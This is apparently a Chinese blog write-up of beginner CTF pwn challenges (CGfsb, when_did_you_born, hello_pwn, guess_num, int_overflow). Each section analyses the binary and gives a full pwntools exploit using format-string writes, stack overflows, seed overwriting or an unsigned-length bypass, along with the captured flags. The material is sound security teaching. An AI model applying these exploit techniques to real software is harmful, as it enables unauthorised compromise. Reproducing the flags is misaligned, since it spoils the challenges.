• (攻防世界) -- pwn入门 -- 新手区1 -- CGfsb


    ⭐学习网站


    肝就vans了


    ctfwiki


    ⭐CGfsb - printf格式化字符



    拿到附件,首先对其进行查看 checksec e41a0f684d0e497f87bb309f91737e4d


    checksec e41a0f684d0e497f87bb309f91737e4d
    [*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    回顾一下:


    Arch: 程序架构。 该程序是 x86-32位-小段字节序号


    RELRO: 在程序启动时就解析所有动态符号/设置符号重定向表格(只读),来减少对GOT表的攻击


    Stack:栈溢出保护


    Nx:堆栈不可执行,即不可在栈上执行shellcode,要利用现成system等lib函数(如"insh")等


    PIE:内存地址全随机化


    所以,将附件拖入32bitIDA中。老规矩 F5 或 shitf+F12 查看。追踪到如下主函数:


      puts("please tell me your name:");
      read(0, &buf, 0xAu);
      puts("leave your message please:");
      fgets(&s, 100, stdin);
      printf("hello %s", &buf);
      puts("your message is:");
      printf(&s);
      if ( pwnme == 8 )
      {
        puts("you pwned me, here is your flag:
    ");
        system("cat flag");
      }
      else
      {
        puts("Thank you!");
      }
    

    显然,pwnme==8 是得到flag的关键。双击追踪:



    显然pwnme被设置为全局变量,根据之前 NO PIE 可知,地址不会改变 0804A068


    接下来,就是要确定偏移量。printf(&s); 即:printf格式化字符


    详情可见大佬博客: 格式化字符串漏洞


    因此,利用 如下,来确定偏移量。


    aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
    


    编写exp


    from pwn import *
    
    p = remote('111.200.241.244', 45138)
    addr_pwnme = 0x0804A068  #pwnme所在地址
    
    p.recvuntil("please tell me your name:
    ")
    p.sendline('J1ay')
    
    payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n'  # b'a' * 0x4 四个字节用于填充
    p.recvuntil("leave your message please:
    ")
    p.sendline(payload)
    
    p.interactive()
    
    

    由于p32(addr_pwnme)占4个字节,而我们要让其==8,必须给他再填充4个字节


    %10$n 这里偏移量为10,%10$n 意思为 取第10个参数中的内容,以内容为地址写入整体字符串的长度



    cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}
    

    ⭐when_did_you_born - 溢出



    checksec 查看


    root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
    [*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    


    拖入IDA64中,选择main函数 F5


    查看伪码



    显然我们要利用v4变量所在gets函数,通过覆盖v5原本值,来实现v5值为1926。


    因此,下一步就是确定v5/v4 变量所在地址:(双击查看)



    编写exp


    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    content = 0  #0/1切换本地调试
    def main():
        if content == 1:
            J1ay = process("when_did_you_born")
        else:
            J1ay = remote("111.200.241.244",46071)
    
        payload = b'a' * (0x20-0x18) + p64(1926) #1926覆盖值,(0x20-0x18)为v4和v5地址差值(偏移量)
    
        J1ay.recvuntil("What's Your Birth?
    ")
        J1ay.sendline("2021")
    
        J1ay.recvuntil("What's Your Name?
    ")
        J1ay.sendline(payload)
    
        J1ay.interactive()
    
    main()
    

    即可获取



    cyberpeace{65c64869ab65a0a82e11229c74b23e9e}
    

    ⭐hello_pwn - 溢出



    同上题解法。简单看一下IDA


    puts("~~ welcome to ctf ~~     ");
    puts("lets get helloworld for bof");
    read(0, &unk_601068, 0x10uLL);
    if ( dword_60106C == 1853186401 )
        sub_400686(0LL, &unk_601068);
    

    只需实现 dword_60106C == 1853186401 。跟上题类似。



    可构造 payload = b'a' *(0x6C-0x68) 偏移量


    payload = payload + p64(1853186401) 将 1853186401 数据 填充进去。


    编写exp


    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    content = 0
    def main():
        if content == 1:
            J1ay = process("hello_pwn")
        else:
            J1ay = remote("111.200.241.244",42801)
    
        payload = b'a' * (0x6c-0x68) + p64(1853186401)
        
        #J1ay.recvuntil("lets get helloworld for bof
    ")
        J1ay.sendline(payload)
    
        J1ay.interactive()
    
    main()
    

    得到


    cyberpeace{af41f61a47e0f993edc71bb012877046}
    

    ⭐guess_num - 随机数-溢出



    拿到附件,首先 checksec 一下


    root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
    [*] '/mnt/c/Users/11145/Desktop/guess_num'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    拖进 64IDA中,


    puts("-------------------------------");
    puts("Welcome to a guess number game!");
    puts("-------------------------------");
    puts("Please let me know your name!");
    printf("Your name:", 0LL);
    gets((__int64)&v7);
    srand(seed[0]);
    for ( i = 0; i <= 9; ++i )
    {
        v6 = rand() % 6 + 1;
        printf("-------------Turn:%d-------------
    ", (unsigned int)(i + 1));
        printf("Please input your guess number:");
        __isoc99_scanf("%d", &v4);
        puts("---------------------------------");
        if ( v4 != v6 )
        {
            puts("GG!");
            exit(1);
        }
        puts("Success!");
    }
    sub_C3E();
    return 0LL;
    

    sub_C3E() 函数


    __int64 sub_C3E()
    {
      printf("You are a prophet!
    Here is your flag!");
      system("cat flag");
      return 0LL;
    }
    

    显然,在这里拿到flag。


    现在来看主函数:



    双击 gets ,追踪到 seed


    0000000000000030 var_30          db ?
    ............................................
    0000000000000010 seed            dd 2 dup(?)
    

    发现需 0x30-0x10 即覆盖20个地址,就可到 seed[0]


    进入循环,导入 from ctypes import *


    利用 cdll.LoadLibrary("libc.so.6") 根据如下随机数产生代码

    for ( i = 0; i <= 9; ++i ) // 循环10遍
    {
    	v6 = rand() % 6 + 1;
     .....................
    }
    

    编写exp


    from pwn import *
    from ctypes import *
    
    p = remote('111.200.241.244',38649)
    
    # 随机数循环
    def srand():
        libc = cdll.LoadLibrary('libc.so.6')
        libc.srand(1)
        for i in range(10):
            p.recvuntil("Please input your guess number:")
            p.sendline(str(libc.rand()%6+1))
    
    # gets函数覆盖
    p.recvuntil('Your name:')
    payload = b'a' * (0x30 - 0x10) + p64(1)
    p.sendline(payload)
    
    # 随机数循环
    srand()
    
    p.interactive()
    


    ⭐int_overflow - 无符号整型溢出



    checksec 查看


    root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
    [*] '/mnt/c/Users/11145/Desktop/int_overflow'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    拖进IDA32里,查看 -- 主函数


     puts("---------------------");
     puts("~~ Welcome to CTF! ~~");
     puts("       1.Login       ");
     puts("       2.Exit        ");
     puts("---------------------");
     printf("Your choice:");
     __isoc99_scanf("%d", &v4);
     if ( v4 == 1 )
     {
     login();
     }
     else
     {
     if ( v4 == 2 )
     {
     puts("Bye~");
     exit(0);
     }
     puts("Invalid Choice!");
     }
    


    显然令v4=1,进入函数login


    char *login()
    {
      char buf; // [esp+0h] [ebp-228h]
      char s; // [esp+200h] [ebp-28h]
      memset(&s, 0, 0x20u);
      memset(&buf, 0, 0x200u);
      puts("Please input your username:");
      read(0, &s, 0x19u);
      printf("Hello %s
    ", &s);
      puts("Please input your passwd:");
      read(0, &buf, 0x199u);
      return check_passwd(&buf);
    }
    


    函数check_passwd()


    char *__cdecl check_passwd(char *s)
    {
      char *result; // eax
      char dest; // [esp+4h] [ebp-14h]
      unsigned __int8 v3; // [esp+Fh] [ebp-9h]
    
      v3 = strlen(s);
      if ( v3 <= 3u || v3 > 8u )
      {
        puts("Invalid Password");
        result = (char *)fflush(stdout);
      }
      else
      {
        puts("Success");
        fflush(stdout);
        result = strcpy(&dest, s);
      }
      return result;
    }
    

    以及发现 命令 cat flag ,也就是说,只要我们确定偏移量,将返回地址覆盖到 804868B 即可拿到flag。



    分析:


    在函数check_passwd()


    显然可见


    strcpy(&dest, s)
    


    将 s 拷贝到dest,s是传入的password。


    如下: 只需 0x14+4 个字节就可溢出。



    当然,有个问题就是,开头对传入的s长度 v3 进行了校验,u 代表此为 无符号整型,长度必须在 4u-8u 间,但是我们需要18个字节,如何绕开?


    无符号整型范围为 0~65535 ,则我们可以利用无符号整型溢出,来实现绕过。


    具体可以参照这篇大佬博客 c语言的整型溢出问题


    简单来说,就是溢出的值会与256求模,得到最终结果。


    因此,本是 4--8,等价于 255+3 -- 255+8,即在259--263内就可实现绕过


    编写exp


    from pwn import *
    
    p = remote('111.200.241.244',52479)
    
    p.recvuntil('Your choice:')
    p.sendline("1")
    
    p.recvuntil('Please input your username:
    ')
    p.sendline('J1ay')
    
    payload = b'a' * (0x14 + 4) + p32(0x0804868B)
    # v3取值在259-263
    v3 = 259 
    payload += b'a'*(v3 - len(payload))
    p.recvuntil('Please input your passwd:
    ')
    p.sendline(payload)
    
    p.interactive()
    


    关于以上链接引用【侵权删】


    若有错误之处,还请多多指正~~


    【转载请放链接】 https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html

  • 相关阅读:
    poj 3616 Milking Time
    poj 3176 Cow Bowling
    poj 2229 Sumsets
    poj 2385 Apple Catching
    poj 3280 Cheapest Palindrome
    hdu 1530 Maximum Clique
    hdu 1102 Constructing Roads
    codeforces 592B The Monster and the Squirrel
    CDOJ 1221 Ancient Go
    hdu 1151 Air Raid(二分图最小路径覆盖)
  • 原文地址:https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html
Copyright © 2020-2023  润新知